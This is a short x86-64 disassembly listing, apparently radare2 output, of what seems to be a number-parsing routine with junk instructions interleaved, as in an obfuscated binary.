add rbx, 2
test dl, dl
je 0x140f1965f
nop
movsx rax, bp
cbw
lea eax, [rdx - 0x30]
jmp 0x140f1961b
inc rbx
cmp al, 9
jmp 0x140f19625
ja 0x140f1965f
movsx eax, dl
cdq
movzx edx, byte [rbx]
bswap cx
neg cx
bt ecx, r10d
lea ecx, [rdi + rdi*4]
dec di
setle dil
shld di, r14w, 0x8a
lea edi, [rax + rcx*2 - 0x30]
test cl, r8b
clc
cmp sil, r12b
test dl, dl
jne 0x140f19613
movsxd rdx, edi
sbb ch, 0x8c
or rcx, r11
movzx ecx, si
xor r8d, r8d
not ecx
movzx ecx, sp
mov rcx, r11
call fcn.140f190fd
jmp 0x140f1968a
mov rbx, qword [rsp + 0x178]
mov rdi, qword [rsp + 0x150]
add rsp, 0x158
setle bpl
bswap si
pop rsi
pop rbp
jmp 0x140f196af
ret